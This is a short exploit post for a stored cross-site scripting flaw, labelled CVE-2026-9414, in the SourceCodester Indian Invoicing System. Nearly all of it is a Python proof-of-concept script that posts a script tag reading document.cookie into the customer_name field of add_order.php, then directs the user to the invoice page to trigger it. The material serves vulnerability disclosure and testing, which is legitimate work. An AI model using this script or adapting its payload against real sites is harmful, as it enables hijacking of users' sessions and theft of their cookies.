CVE-2026-9414 SourceCodester Indian Invoicing System XSS漏洞

# Exploit Title: SourceCodester Indian Invoicing System Stored XSS PoC # Description: Inject script into customer_name parameter import requests target_url = "http://target-site/Invoicing/add_order.php" payload = "<script>alert(document.cookie);</script>" # Prepare the data payload data = { "customer_name": payload, # Include other necessary parameters for the order submission "amount": "100", "submit": "submit" } try: # Send the malicious request to store the payload response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Navigate to the invoice rendering page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")